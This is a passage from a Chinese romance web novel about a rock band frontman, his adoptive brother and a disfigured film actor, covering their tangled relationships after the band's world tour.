尧新橙看着他纳闷的样子,心中不禁一软:“我,现在,约医生。” 尧新雪只应了一声,然后就准备去吹头发,他现在什么都没戴,胸口只有一块红色的纹理状似眼睛的石头。 尧新橙自然而然地拿过吹风机,轻轻地帮他吹头发,就像在过去做的无数次那样。 他的目光落在那块石头上,眼神就变得极为柔软——他知道,尧新雪从戴上这条项链起的那一刻就没有摘下过。 在更久远、更久远的过去,尧新橙听到尧新雪温柔的声音。 “一只小狐狸想要翻越一座很高很高的山坡。”小小的尧新雪和尧新橙分享着他在童话书上看到的故事。 “然而从来没有一只狐狸爬到顶坡过,它并不沮丧,而是一点一点地爬着。” “它从春天走到冬天,一路上喝着溪水,吃着从树上掉落在地上的果实,遇到过毒蛇猛兽。为了爬到顶坡,它失去了色泽鲜亮的毛发,它变得极其瘦弱,爪牙尖利,它变得不再漂亮。”日光之下,尧新雪的笑容灿烂,他仿佛是童话里所描写的天使或公主,让幼小瘦弱的尧新橙看得出神。 “冬天来了,它没有力气寻找食物了。它凭着本能一路前进着,在它即将饿死冻死的时候,它遇到了一只小松鼠。” “那只小松鼠从它的树洞里找出了一颗红色的石榴送给了小狐狸,漫天白雪中那颗石榴宛如一颗鲜红的心脏。吃完石榴之后,小狐狸终于重新有了力气,它最后爬上了山顶。” “它终于到了自己想去的地方,实现了自己的理想。” 那年他们仅有七八岁,尧新雪对着尧新橙说,却更像是在透过尧新橙看着什么东西。 在微微出神后,他注意到了尧新橙呆呆的样子,仿佛感到无聊般,转过头哼了一声:“算了,你不懂。” 尧新橙感到自己的脸颊发烫,他支支吾吾半天,却又说不出任何话,只是一味地低头。 尧新雪看他半天说不出话,于是又笑了,把他拉到自己的怀里,像抱着一只小狗一样,学着大人轻轻拍他的背:“我也会像这只狐狸一样,爬到顶坡的,你知道了吗?” 尧新橙贴着他温暖的脸,嗅到他身上若有若无的香气,仿佛整个人都浸泡在了阳光里,变得暖融融的。 他忙不迭地点头,像是怕尧新雪后悔了似的。 后来,尧新橙被孤儿院的孩子们推到了河里。 他奋起反抗,像砧板上的鱼反复扑腾着。几个孩子揪着他的耳朵,将他的胳膊反锁在身后,将他反复压在水里,大声数着数。 在玩了十几次之后,终于玩腻了,把尧新橙随便一推,整个人都倒在河上。 当尧新橙浑身湿漉漉地爬上河岸,他带回了两块石头。 这两块石头很特别,是血红色的,上面的纹理像是一只眼睛。 尧新橙想起尧新雪讲过的故事,那只松鼠送给狐狸的正是一颗红色的石榴。 他不知道什么是石榴,只知道,这块石头也是红色的。 他那么笨,用手背随意地抹去自己脸上冰冷的水后,就忙不迭地爬起来,抱着这两块石头跑回孤儿院。 尧新橙把其中一块藏了起来,把另外一块更漂亮的,颜色更鲜亮的石头送给了尧新雪。 月光之下,尧新雪拉着他的手,从偌大的房间跑到了院外的墙角处。 尧新雪拿着那块石头,举高对着月亮,眼底里满是惊喜与快乐。尧新橙甚至能看到他眼里的闪光与扬起的嘴角。 那块石头有着浓艳的红色,诡艳至极,尧新橙的目光却从始至终都只定定地望着尧新雪。 他们从来没有见过石榴,想象力总是有限的。 尧新雪握着那块石头,猛地转过头看向尧新橙笑着说:“故事是真的!小狐狸就是吃着红色的石榴度过了冬天,爬上了山顶!” “嗯!”尧新橙也快乐地笑了,他重重地点了点头,哪怕自己浑身湿透,在晚风中冻得瑟瑟发抖。 可尧新雪的快乐与惊喜也感染了他,其他的一切好像都变得无关紧要了。 尧新雪在下一秒就抱住了尧新橙,发出幸福的笑音:“谢谢你!” 他的拥抱是这样的温暖,以至于过了十年,十五年,尧新橙依然能记得那时的感觉。 尧新雪在那之后把那个石头当成了项链戴在了自己的胸前,即使在后来知道那不是石榴,也依然把它当成了自己的幸运符。 尧新橙放下了吹风机,手指轻轻地抚摸过尧新雪的长发,没有注意到自己的嘴角微微扬起。 他看着尧新雪站起来,然后在镜子前戴好耳钉和唇钉。 “走吧。”尧新雪说。 “嗯。”尧新橙答道,在走到走廊时接过了工作人员手里的贝斯。 薛仰春伸了个懒腰,从旁边的房间里走出来跟在了他们的身后,罗槐则走在了最后面。 在极暗的灯光下,他们走上了通往舞台的楼梯。 如昼的灯管照落下来,排山倒海的欢呼与尖叫扑面而来。 尧新橙望着尧新雪的背影,没有片刻犹豫,立刻走了上去。 第82章 尧新雪在第三年的冬天完成了他伟大的世巡。 如他所希望的那样,黑羊乐队在这之后成为了世界一流的乐队,成为了这个时代摇滚乐的代名词与媒体们争相采访的对象。 城市高空巨大的LED屏上放着黑羊乐队四个人的合影,几乎每一家唱片店都收藏着黑羊的专辑。 当飞机降落,从天空划出一道流云,尧新雪背着一个包,戴着白色的鸭舌帽与黑色口罩从通道里走出,数千个人涌在这里疯狂高喊着他的名字,高喊着黑羊。 他的蓝色长发有几根因为睡乱了有些翘起,神情懒散,穿着纯白的冲锋衣,因为刚下机没想太多,一只手插在兜里一只手甚至抬起来捂着嘴懒洋洋地打了个哈欠,如同待在窝里睡香了的猫,带着放松的慵懒。 尧新雪不喜欢穿很厚,会显得很笨重,所以只穿了件很薄的衣服。然而错估了国内的天气,于是他又小小地打了个喷嚏。 尧新橙在下一秒就及时用大衣笼住了他,尧新雪没躲,只是眨眨眼睛看向了不远处等待着的雀跃的粉丝。 他没想到机场会有这么多人在等待,因此不着痕迹地皱了皱眉后又提起笑打起招呼。 黑羊的行程在网上基本查不到,能有一大批粉丝在这等待只有可能是内部工作人员泄了密,他抬起眼看了下尧新橙,尧新橙便低声回道:“我回去查。” “嗯,明天再做吧,今天先休息。”尧新雪莞尔,他刚睡醒心情不错,抬起手向不远处的人就摆了摆。 不远处传来一片尖叫,有人挥手舞着手里的专辑和笔,有人则奋力地举起手机努力地拍尧新雪。 薛仰春和罗槐就跟在尧新雪身后,听到欢呼声一开始也有些懵,但看到队长镇定自若就也没啥反应,配合地给乐迷们签起名来。 尧新雪随便挑了几个人递来的专辑来签名,发现背后售出的日期竟然是五年前的第一版,于是挑起眉来笑了:“我以为我很难再见到这张专辑了。” “黑羊的所有初版专辑我都有收藏,我一直很喜欢你们,从五年前就一直在支持着你……”那是个女孩,紧紧注视着尧新雪,鼻尖因为冷变得通红,说起来五年甚至眼眶湿润。 “嗯,我看到了,谢谢你。”尧新雪因为大衣很重,于是勾下了口罩呼吸,歪了歪头,在马克笔上认真地写道,“祝你梦想成真。” 他从兜里拿出一副新的耳钉,连同专辑和笔一起绅士地还给了女孩:“谢谢你的支持,附赠一个小礼物,希望你喜欢。” 在少年时期,尧新雪曾把这句话当做最真挚的祝福,时至今日,当问起祝词时他依然会第一时间想到这句话。 女孩有些喜极而泣,尧新雪又接了几个人的专辑签名后就准备转身走了。 “要赶不上车了,天冷都快回去吧。”尧新雪转过头和那一大群人摆手。 薛仰春则跟在他的身后大大地挥手:“下次在演唱会见吧!!” 尧新雪让司机把薛仰春、罗槐和尧新橙都送回他们各自的住处之后回到了自己的公寓。 他不喜欢太大的别墅,只住着四百平的大平层。 房间和客厅里都摆满了各种各样的乐器,地上还摆满了笔和各种乱七八糟的涂鸦的乐谱。 巨大的落地窗一开,纸张就满天飞。 尧新雪在飞机上已经睡够了,凌晨三点也不觉得困,吹了一会冷风后感到头疼,就又关上了窗开暖气,从行李箱里翻出一瓶啤酒。 继车祸后沉寂了一年的宋燃犀在修养后复出的电影是自己导演的,整部电影的剧情简单粗暴得不可思议。 尧新雪将自己裹在画满小猫的毯子里,打开了电视。 电影名为《囚徒》,因为躁郁症与毁容而无法融入社会的主角陈锦在一次购物中对一个金发女郎lily一件钟情了。两人从相遇,到由陈锦一力促成的相知,自以为的相爱。 lily在两人的拉扯中感到疲惫,最后选择了离开,陈锦便选择捅死了lily,他连捅了女郎十几刀,最后自首走进了监狱。 整部电影的色调都相当灰暗,唯一的亮色是女郎金色的头发。 她从影片的开始到结尾都没有露过脸,各种拍摄的角度都巧妙地避开了她的脸庞,仿佛从头到尾都只是陈锦一厢情愿的想象。 始终出镜的只有宋燃犀,这是他在毁容后第一次回到影坛,却以自导自演的方式完成了这部作品。 他那张车祸后被毁坏的脸,右眼明显下陷,没有化任何妆,不可怖,与原本英俊邪气的样子相比却多了一分漠然。 尧新雪小口小口地喝着酒,望着屏幕上宋燃犀平静的双眼与胸口的土星项链,感到无聊。 从欧巡开始直到世巡结束,他们就没有见过面。 “尧新雪”与“宋燃犀”两个人仿佛两根直线,只是在短暂的相交之后就再无交集了。 尧新雪无意识地勾了勾手指,眼底带着厌弃与不快,因为原以为会摇着尾巴回来的小狗居然到现在依然没有回来,宋燃犀出乎他意料的有耐心。 甚至用着一种可怜可笑的自欺欺人的方式,演了这么一部电影。 尧新雪揉了揉眼睛,然后准备爬上床睡觉,电影已经走近了结尾。他没关电视,卷着那张小猫毯子就当作了抱枕闭上眼睛,也就没有听见电影的末尾是什么。 电影的最后几秒,宋燃犀所饰演的陈锦穿着囚服,低着头,眼神平静,在持续三天的沉默后缓缓开口说。 “我不知道,我能不能爱他。” 这部电影一经放映就引起了大众的关注,宋燃犀的粉丝,乃至爱吃瓜的娱乐大众都纷纷前去观看——因为宋燃犀的名气,因为宋燃犀的不幸。 【没有人注意到,最后那个“他”字是单人旁而非女字旁的吗!总不能是字幕打错了吧!那个Lily从头到尾没露过面可能还真的不是女的。】 【我草啥意思啊这部电影,有没有影评解释一下啊啊,我觉得宋燃犀真的可能疯了,看完我鸡皮疙瘩都起来了。】 【演技真是一如既往地牛逼,部分镜头拍得太阴了吧真把我吓一跳。】 【感觉“自首”这个行为就意味着他从内心深处意识到,这个错误其实是由他自己亲手造成的,而非Lily的错。我甚至觉得他很自卑,既无比渴望得到Lily的爱,害怕Lily的离开,又因为病症或是其他更深的原因不敢对Lily提出,不敢提爱。】 【合理怀疑宋燃犀现实生活中就有一个“他”。】 【兄弟们其实这就是改自宋燃犀的现实生活,没感觉到他真情实感的痛苦吗?】 【来胡编乱造一下,借这部电影来剖析一下这位戛纳最年轻影帝的心理。感觉在他的现实生活中绝对有一个类似Lily的人,而且这个人在他心里已经是超级超级重要的存在了。 没人忘记他在拿影帝的时候说过:“这个奖项的获得,以及我在这一刻所感受到的全部快乐与幸福,全部归功于我的爱人。我希望能将这一切都献给你。”这种话吧,包恋爱脑的。 陈锦拥有病症意味着宋燃犀的毁容,更深地说可能指向着他渴望得到关爱与包容。一定是发生了什么事,也许就是那场车祸,导致宋和那个人的关系变了,也许是产生了隔阂,甚至是一道极其难以跨越的障碍。 这场悲剧之后,宋燃犀认定自己有罪,需要忏悔,但他又不能完全再像过去那样磊落、毫无保留地再爱那个人,即使很爱,但是不敢爱,不能爱,这让他感到痛苦。最后选择连捅Lily十几刀,有可能指向着他渴望自毁,以此来得到这场漫长痛苦中的救赎。】 【解析得这么真,我真的要信了,这就开始扒宋燃犀的感情史……】 【网友们编得跟真的似的,赶紧洗洗睡吧!】 …… 夜幕降临,寒风裹着细雪降临到这个城市,千万片雪花将黑暗脏污的建筑覆上一片银白。 行人都将自己的脖子缩在衣服里,将衣领拉到最高。 宋燃犀靠在路边点燃了一支烟,火星微微映亮他的脸。 他拿着手机看着热搜上别人发出来的视频,画面的中央是懒洋洋的尧新雪。 那个人半张脸都被口罩盖过,帽檐下只露出了一双闪闪发光的眼睛,眼尾因为刚睡醒甚至泛红。 “签在镜头上?”尧新雪听到这个请求有些讶异,笑着挑起眉,于是宋燃犀看到他的脸凑近了一点,手握着马克笔写下一串漂亮的花体blacksheep,又在右下角补充了一个snow。 宋燃犀的心跳加快了,脸上的伤,身上的伤与腰胯的纹身在同一刻都开始隐隐作痛起来。 他慢慢地吸了一口烟,最后将手机熄屏。 火焰燎伤了宋燃犀的皮肤,让原来那个花体的Snow变得不成样子,他后知后觉地想,原来纹身也并不长久。 宋燃犀碾灭了烟,然后毫不犹豫地上了车。 在他的身后,巨大的LED屏幕上,是尧新雪温柔的笑容。 第83章 宋燃犀复出的第一部电影即是他自己的电影,其中精湛的演技让所有人都赞叹不已,外界的评价相当之高,虽然作为导演的技术仍然略显拙劣,但演员依然完美无缺。 宋燃犀原本拒绝对这部电影的所有采访和宣传,但林译递上来的邀请函地点让他的目光一顿。 林译不动声色地观察着自己上司的脸色,他当然知道这是为什么。 地点是指针音乐的旧址。 谁知道那帮记者是怀了什么心思定下的这里,没人不知道指针音乐是被宋燃犀收购的。 林译从看着宋燃犀接手宋氏集团到帮宋燃犀办理出院手续,对里边有什么角色,宋燃犀都经历了什么事全部都心知肚明。 宋燃犀和尧新雪关系的破裂,在他这个旁观者的眼里,是非常值得唏嘘的。 天灾人祸,尧新雪无辜,宋燃犀永远跨不过去父亲因自己而死的坎。只要宋燃犀一天无法原谅自己,那尧新雪和他也就永远无法和好。 林译不着痕迹地在心里叹了口气,看着眼前沉着冷静的年轻男人,他不再像之前那样吊儿郎当,开着让林译心底一沉的玩笑,而是变得雷厉风行,更加的“工作狂”。 艰难的修复与复健之后,他的身体已经恢复了原来的健康,即使疤痕与增生依然存在,但是已经能像从前一样拥有强健的体魄。 “去吧。”宋燃犀简洁道。 林译低声说了句:“好。” 他看了一眼宋燃犀,最后安静地走了出去。 于宋燃犀而言,《囚徒》是一部很私人的电影,他自导自演,本质是寻求一场发泄而不是希望得到理解,因此当记者提问:“起初创作这个故事是为了什么?这和你遭遇的那场车祸有什么联系吗?”时,记者们意料之中的应激反应并没有出现,宋燃犀只是眼神冷淡。 三年前的宋燃犀也许会眼神暗淡绝望,更久以前的宋燃犀可能会不屑于解答,甚至是嗤笑一声后又圆滑地掩饰过去。 现在的宋燃犀则会淡淡地回答:“这是我和我恨的人的原型。” 记者笑了,举着摄像机对准他:“可是看过这部电影的人都倾向于这是你和你爱的人,大家只看到了爱。” “那就是我作为导演和编剧的失职。”宋燃犀冷声道。 “听说你在片场的时候总是失眠,不得不请了一些医生来到拍摄现场医治。”记者换了一个话题。 “对,还有一些车祸的后遗症,让我痛得无法集中注意力读剧本,我不得不请医生来给我打镇痛剂,”像是想起了什么,宋燃犀有一瞬间的走神,“我妈妈其实并不希望我再在演戏之路上投入过多的精力。” “这和电影里一直在吃药看病的陈锦有些相像,你也是人在戏中,戏如人生了。” 但宋燃犀并没有听清楚这句话,他只是想起自己演这部电影时有多么难熬,即使身体恢复,他也依然会频频梦到车祸,梦到大火,梦到紧闭双眼的宋洲。 宋燃犀总是半夜惊醒,身体痉挛手指颤抖着去猛拍被子,猛拍自己的双腿,直到过去好久才知道自己做了噩梦。 他还不能停药,整夜整夜的失眠,精神状态一度跌到了最低点。在这反复的噩梦,反复的疼痛里,他会想到尧新雪。 尧新雪多么成功,真的将他驯化成了一条狼狈的、离开主人一秒就会发狂的狗。 可是他过不去,他跨不过去。 他可以毁容,他可以体无完肤,他可以什么都没有。 可是宋洲死了,宋洲死了。 宋燃犀至今不敢面对应怜那双眼睛。 他虚伪至极,私下里却按捺不住,自己买了机票,买了黑羊演唱会的门票。 他见过尧新雪的第一场比赛,那时他就坐在最后一排,看着尧新雪带着几个刚邀请来的乐手走上舞台。 疯狂的欢呼声恍如昨日,一切也如同当初的那样,尧新雪在那时就没有看到最后一排的自己,如今过去了这么多年,他也依然没有看到宋燃犀。 爱尧新雪的人太多了,宋燃犀算什么。 宋燃犀想到这里时心脏仿佛又被刺痛了一下。 他就这样走神,余光瞥向了门外,却又一次看到了一抹蓝色的身影,甚至没有过过脑子,宋燃犀就失控地站了起来。 他呼吸沉重,紧紧地注视着门外,头痛欲裂,可笑的是他甚至不清楚刚刚的那一秒是不是只是他的幻想或错觉。 静默三秒之后,宋燃犀又坐了下来,记者们却明显感觉到他的态度更差了。 他们窃窃私语,却都没有在宋燃犀的视线尽头看到任何人。 采访持续了三个小时后终于结束,记者们准备拿着一通黑宋燃犀的稿件与照片准备狠敲宋燃犀一笔,对方却心不在焉地草草离场。 宋燃犀捏了捏自己的太阳穴,缓缓地松了一口气。 他没有走电梯,而是躲在了没人的楼梯间里点烟。 他的烟瘾越来越大了,尼古丁的气味能让他感到短暂的镇定。 宋燃犀的手颤抖着,他握着打火机,一下,一下地打着火。因为动作的慌乱,他嘴里叼着的烟一直没有点燃。 然后他迟缓地、迟缓地听到脚步声。 如同过去三年千万次梦到的那样,如同猫一样不疾不徐的脚步声,他的心先于他的眼睛,在认出来人前微微颤抖起来。 宋燃犀有些感到不可置信,缓缓地转过头,就看到了旁边的楼梯上,逆光里,尧新雪一级一级地走下来。 窄窗泄露的光一瞬间映亮他的眼尾与蓝色的长发,尧新雪的嘴角微微挑起。 “好久不见。”尧新雪微笑着和他说。 宋燃犀注意到他的眼底戏谑,就知道他一定听完了整场自己的采访。 他先是本能地别过了脸,然后又转回来看尧新雪:“你怎么在这里。” “一个合作方的邀请。”尧新雪有些困惑般歪了歪头,“我刚回国,很多东西不熟悉,他说他会教我。” 宋燃犀的脸色沉了下来。 尧新雪的指尖夹着烟,注视着宋燃犀的表情笑了笑,走近宋燃犀时,用自己指尖正在燃烧的烟点燃了宋燃犀嘴里的烟。 他的手抬起来抚过宋燃犀右半张凹凸不平的脸,宋燃犀下意识地想躲,最后却还是僵硬在了原地。 宋燃犀只深深地抽了一口烟,然后将拿烟的手放下了。 两个人的烟连牌子都是一样的。 只是因为宋燃犀知道尧新雪喜欢抽这种。 尧新雪的手温凉,温柔地抚摸过宋燃犀的侧脸,带着茧的指尖抚了宋燃犀的右眼。 黑暗中,宋燃犀感到沉闷得喘不过气,尧新雪这个动作仿佛是久未还家的主人正在仔细检查家里的宠物。 尧新雪的手从宋燃犀的右脸摸至他留有疤痕的侧颈,最后侧过头贴着他的耳朵温柔地询问:“宋燃犀,还痛不痛?” “……” 宋燃犀感觉自己浑身的骨头都在叫嚣着痛,过去那些辗转反侧无法入睡的漫长夜晚,他对那场车祸无数次的反刍,他对尧新雪的想念,此刻全部都轻飘飘地落成了尧新雪的一句“宋燃犀,还痛不痛”。 “痛。”宋燃犀终于侧过了脸来,他注视着尧新雪的眼睛,眼底流露出了极浅的痛苦,仿佛玻璃上的裂痕。他低声,几乎咬牙切齿:“好痛,我每天晚上都痛得睡不着,我不得不想着你,我不得不想起你。” “那天之后,就是三年。”宋燃犀的声音最后隐没在了呜咽里。 尧新雪真是铁石心肠,在那个雨天里,吻过他之后就再也没有回来见过他。以至于宋燃犀对他那虚张声势的恨,都添上了几分真意。 这个样子太狼狈,宋燃犀抬起手背草草地抹过了自己的脸,表情已经恢复了平静与沉默。 “又要说最恨我,又要说想我。”尧新雪扬起漂亮的眉,缓缓地对着宋燃犀的脸吐了一口烟,最后轻佻地笑了下,“你太难伺候了。” 他转过身,仿佛嫌烦了似的,还没等到走出第一步,就被宋燃犀拽住了手。 尧新雪被猛地拉了回来,险些没站稳,撞进了宋燃犀的怀里。 他只来得及将手边的烟伸开了一点,宋燃犀就已经紧紧地抱住了他。 宋燃犀嗅着那熟悉的香根草气息,想着自己今晚能睡一场好觉了,他等待这个拥抱等了这么久,最后终于还是等到了。 尧新雪则难得地没有说话,用另外一只手轻轻地摸了摸宋燃犀的头。 “尧新雪。” “嗯?” “我……”宋燃犀的眼睛眨了眨,他紧紧地抱着尧新雪的腰,仿佛是失而复得,他的心跳依然为着眼前的人扑通、扑通地跳着。 有几秒,他的眼前湿润,头颅的疼痛尖锐地传来,提醒着他的越界。 尧新雪抬起手,慢慢地回抱住他,垂下了眼睫,掩住了清浅的笑意。 “我先走了。”宋燃犀放开手,猛地后退两步,仓促地避开了尧新雪的眼神。他有些莽撞地躲开了尧新雪的手,打开了楼梯间的门,最后只匆匆地、不舍地回头看了一眼尧新雪。 尧新雪看着他踉跄着跑出去,眼底的笑意逐渐淡去,最后变成了面无表情。他站在原地,依然维持着那个姿势,只是侧头抽了一口烟。 烟雾缭绕,火星或明或灭,在黑暗中他的脸变得这样模糊,有着如同老电影般的美丽。 下一秒,尧新雪微微偏过头看向了另一个方向,微微笑了一下——一个记者正偷偷举着相机对准了他,见状吓得松了手。 宋燃犀深呼吸了很久,终于开着车回到了家,他的心情雀跃,没看到应怜,就往厨房瞄了一眼。 没想到应怜真的在厨房,正慢慢地用汤勺舀汤。听到他的动静,应怜还转过头望着他莞尔:“我今天做了汤,你快来尝尝。” “你怎么自己来,小心别被烫到了。”宋燃犀帮她端出两碗汤。 保姆则笑眯眯地说:“太太还不让我帮忙呢,说是你辛苦,想亲手熬碗汤给你。太太煲的莲藕汤啊,以前先生可爱喝了。” 宋燃犀和应怜的动作都一顿,没有说话。 保姆知道自己说错了话,忙找了个借口走出了厨房。 宋燃犀瞥了一眼应怜,应怜的表情没有变化,依然温柔地叮嘱他:“你小心烫。” “好。”宋燃犀低声应了。 他一周起码有四天会回到家里陪着应怜,哪怕是出差,也会尽早回到应怜身边,或是抽空打个电话。 “我怎么觉得,你今天很开心?”应怜轻笑着问,仿佛没有受到任何影响。 即使有关于宋洲的一切,她和宋燃犀都再没有提起过。 宋燃犀低下头,然后重新抬起来时已经恢复了刚进门时的笑容:“因为回来看我老妈,就很开心。” “油嘴滑舌。”应怜笑了一声。 他没有提尧新雪的事,正如应怜也揭过了宋洲的事一样。 第84章 黑羊乐队世巡结束刚刚回国,尧新雪就顺手又给工作人员们放了一个月的长假。 而他暂定的计划则是先约见几位知名的制作人,筹备新专的事,并在这个过程中适当接受一些“邀请”与圈内的一些人打交道。 尧新雪作为老板独挑大梁,除了要兼顾作词作曲乐队主唱的任务,还要应付一些合作方乃至品牌方的邀约。 好资源并非是唾手可得的,虽然“钱是万能的”,但是比他有钱的放眼望去也是人山人海,加之尧新雪本来人缘就极好,一回国就什么牛鬼蛇神全冒了出来。 但尧新雪甚至不记得他们的名字。 他很挑,目光长远,并不会轻易接受一些邀请,哪怕出价可观,也依然不会打动他半分。 愚人会以为他在耍大牌,聪明人则知道他是爱惜羽毛。 相比于钱,尧新雪显然更看重这份合作能否更快、更稳妥地提升黑羊与他自己的知名度,对黑羊的发展是否有确切好处。 尧新雪用了三天来处理工作信息,即使已经做了近视眼手术,他在看电子产品时依然会戴上一把黑框眼镜。 稍卷的长发与柔软的家居服,任谁看到他那认真专注的样子都会以为他还只是个大学生,甚至是高中生。 尧新雪在尧新橙的帮助下基本理清了顶层的权贵与各个大腕之间错综复杂的利益关系,最后在半年档期内只接受了三项邀请。 一份是老导演杨柯的退幕之作,电影《无罪者》的主题曲制作,一份则是国内知名时尚杂志的封面拍摄与一份黑羊乐队的采访。 年过七十的杨柯作为拿过拿遍世界顶级奖项的导演,加之“退幕之作”的噱头,关注度必定极高。且杨柯的作风干净,为人正直,无论从什么方面看,都是非常合适的合作方。 尧新雪敲定之后就把电脑给了尧新橙,交代道:“就这样吧。” “好。”尧新橙点点头。 他低头看到杨柯的名字,嘴唇抿成了一条线。 尧新雪先去浴室洗了个澡,等他出来时,看到尧新橙还坐在沙发上。 “怎么了?还有事?”他用毛巾搓着自己的头发问。 “嗯,前,几天……”尧新橙拿出了几张照片,依次摆在尧新雪的面前,眼神冷淡,“有人,拍到了。” 尧新雪随手拿起一张来看,正是那天自己和宋燃犀在楼梯间里拥抱的样子。 楼梯间的光线很暗,照片是这样模糊,但依然能认出两个人的轮廓。尧新雪那蓝色的长发是这么的显眼,宋燃犀手指间的烟极小心地避开了尧新雪。 两人拥抱着,距离相隔之近,姿势之暧昧,是明眼人都能看出的关系不浅。 一个是命运跌宕的年轻影帝,一个是举世闻名的乐队主唱,如果这些照片曝光出去,想必能掀起不小的讨论度。无论对谁而言,都有着不可小觑的影响。 尧新雪在那天看到那个狗仔的时候就已经折断了他的储存卡,照片却依然落在了尧新橙的手里。 而尧新橙没有私下自己处理掉这些照片,反而将这些带到了尧新雪的面前。 尧新雪居高临下地挑了挑眉,眼神变得轻蔑而倨傲,冷淡反问道:“处理干净,扔到我面前,有什么用?” 他的眼神几近冷漠,不笑时眉眼有着冰雪般的凛冽,尧新橙能感觉到他明显被触怒了,而自己愚蠢的行为显然不是一个正确的决定。 尧新橙自觉地低下了头,他紧张得咽了一下唾沫,最后绷紧着下颌线,仰起头与尧新雪对视:“我会,处理,干净。但是,他不是,好人。” “哥哥……”尧新橙说话有些吃力,他的眼睛有着如同小狗般的清澈,里面藏着的难过是这样明显,恳求般,“能不能……” 尧新雪轻轻笑了一下,他笑时,眼睛变得这样妖冶。 他抬起一只手摸过尧新橙的侧脸,仿佛很是怜惜,微微弯下腰拉近与尧新橙的距离,尧新橙能嗅到他身上白茶味沐浴露的香气,他漂亮无瑕得如同艺术品。 因为刚洗完澡,尧新雪还草草地穿着浴袍,弯腰的动作让本就敞开的V领敞得更开,尧新橙能看到他胸口一片雪白的皮肤,甚至能看到…… 尧新橙的眼神闪烁,最后别过了脸。 尧新雪在他侧过脸的那一刻贴着他的耳朵轻声说:“不能。” 尧新橙的嘴唇动了动,最后保持了沉默。 尧新雪拉过他的手伸到了浴袍的系带上,湿漉漉的长发落下来,眼底满是戏谑:“你敢吗?” 尧新橙的喉结动了动。他倔强地抬起眼望着尧新雪的眼睛,对方没有看他,只是在桌子旁拿出了烟和打火机。 尧新雪咬着烟,低头点燃,终于懒懒地看了他一眼,如同施舍一般。 尧新橙也依然保持着仰头的姿势,眼神变得痴痴的,如同渴望着得到宽恕的罪人,手指颤抖着落在尧新雪浴袍上那松松垮垮的带子。 尧新雪伸出一只手,搭在了尧新橙的手臂上,指尖若有若无地游走在他上面,缓缓地吸了一口烟后又笑着重复:“你敢吗?” 尧新橙没有说话,只是用行动回答,他的手指开始解尧新雪袍带的结,有些急促,甚至接近粗鲁。 然而下一秒,尧新雪就抖了抖指间夹着的烟,让上面的烟灰落在了尧新橙的手背上。 尧新橙被烫得松开了手,眼神变得不甘,最后没有说话。 “你敢。”尧新雪笑了下,看着眼前的人如同一头难驯的狼犬露出森白的牙后又收回去,忍不住低头,感到有趣般掐着他的下颌让他抬头,“但我们永远不可能变成这种关系。” “从你成为尧新橙开始,就意味着无可改变。”尧新雪莞尔一笑,他的语气毋庸置疑,明明依然这么温柔,却如同一盆冷水从尧新橙的头顶猛地落下,让他心底唯一的那点希望被彻底浇灭。 很简单,只要“尧新橙”和“尧新雪”兄弟关系的存在,只要尧新橙还想作为贝斯手留在黑羊乐队,那他就必定不能与尧新雪发生任何关系——假的也好,真的也好。 二十几年来尧新橙从来没有越轨过,他甚至不敢和尧新雪睡在同一张床上,可是如今一时失心疯,因为看到照片嫉妒得发狂,于是做出了这么荒唐的决定,也就得到了意料之中的回应。 尧新橙在心里苦笑了一下,尧新雪知道自己对他是抱有着什么情感的,可正是因为知道,所以尧新雪从来不屑于去理会,去回应。 因为尧新橙的忍耐与沉默,这层纱始终隔在两个人之间,现在他捅破了,也就迎来了难看的结局。 “这是警告,没有下一次,听明白了吗?”尧新雪低声问。 “明白了。”静默了很久之后,尧新橙哑声回答道。 “那滚吧。”尧新雪抬眼,下了逐客令。 尧新橙僵硬地站起来,想要帮他吹头发,被一个“滚”字定在原地。他的眼睛发红,最后只沉默地收好了那些照片,离开了这里。 尧新雪因为这件事影响了心情,表情冷淡,最后坐在沙发上抽了两支烟才有所动作,准备去衣帽间换衣服。 他今晚要去赴几位制作人的约,刚好交流一下新DEMO的意见。 玩音乐的大多都不拘小节,尧新雪的住处已经算是干净整洁的了,他随便挑了件T恤与牛仔裤穿,就出了门。 “新雪来了。”几个人一看到他来,都站起了身,自觉地让开了一条道。 他们都是业内响当当的人物,是出了名的音乐鬼才或怪胎,不认钱不认势,只信奉绝顶的才华,年纪比尧新雪大上不少,却都在餐桌上自觉地让出了主座,装模作样地对着尧新雪点头哈腰。 尧新雪关上了包厢的门,一手扶着椅子看着这些人笑了出声:“你们差不多得了。” “哎呀,这不是欢迎我们世界第一的主唱终于回国吗!” “DEMO什么时候给我们听,别吃饭了赶紧拿出来!” “喂喂喂回国这么久现在才约我们太不够义气了吧!” “我新做了首歌,你来唱呗。” …… 尧新雪笑着一一应了,坐到了主座上。 他其实享受着与这些人聊天,纯粹,只聊音乐,不用耍什么心眼。几个人的想法碰撞在一起,还能给新歌提不少有用的意见。 这对追求效率喝结果的尧新雪来说是有利无弊的事。 因为放松,他多喝了点酒,虽然面上看不出,但已经有些醉了。 尧新雪叫了人把剩下几个醉鬼带了回去,自己则戴上了鸭舌帽,慢慢地伸了个懒腰走到了餐厅门口。 他一偷懒,就变得不够警惕,也就没有注意到极隐蔽的角落里,有一个摄像头正对准了他。 一辆车停在了餐厅的门口,车窗降下,露出对方的脸时,尧新雪的嘴角挑了挑。 他并没有上车,只是靠在车窗的边缘懒懒地说:“小狗来接我?” “你醉了。”对方镇定地说。 就在不远处,尧新橙望着那个方向捏紧了方向盘,他看着尧新雪上了那个人的车,最后却也没有开上去。 第85章 宋燃犀正在家里的健身房做推卧,当70KG的杠铃随着他心中默数的第50个数字缓缓落下,他才接过了旁边林译伸来的毛巾。 剔透的汗珠沿着他布满疤痕的身体流下,流过漂亮的腹肌线条,最后被他随意地擦去,抬眼问:“什么事?” 原定每周五,林译都应该给宋燃犀汇报这周宋氏集团各个项目的推进情况,因为一个负责人的问题,进度汇报延迟了一天。 宋燃犀允许了这件事,但是林译依然出现在了这里。 林译倒是有眼力见,没有直接上来打扰他,而是等他做完这组之后才递上了毛巾。 “那位今晚去和制作人吃饭了。”林译低眉顺眼道。 他聪明地没有提起那个人的名字,那位老板心心念念、一发疯就让他买机票买门票、一回国就开始叫他盯着的人。 “哦。”宋燃犀应了一声,若无其事地喝了口水。 林译不动声色地看着自己的上司,继续道:“那边的服务生说,他好像喝醉了,还没叫车。” 宋燃犀的动作顿了一下,下意识地想要找烟,最后没找到,只继续用毛巾擦着颈:“结账了吗?” 结账就意味着尧新雪马上就要走了。 “他们说,好像快了。”林译回答。 宋燃犀“嗯”了一声,依然捏着手里的那条毛巾:“你先回去吧。” “好。”林译扶了扶眼镜,然后走了出去。 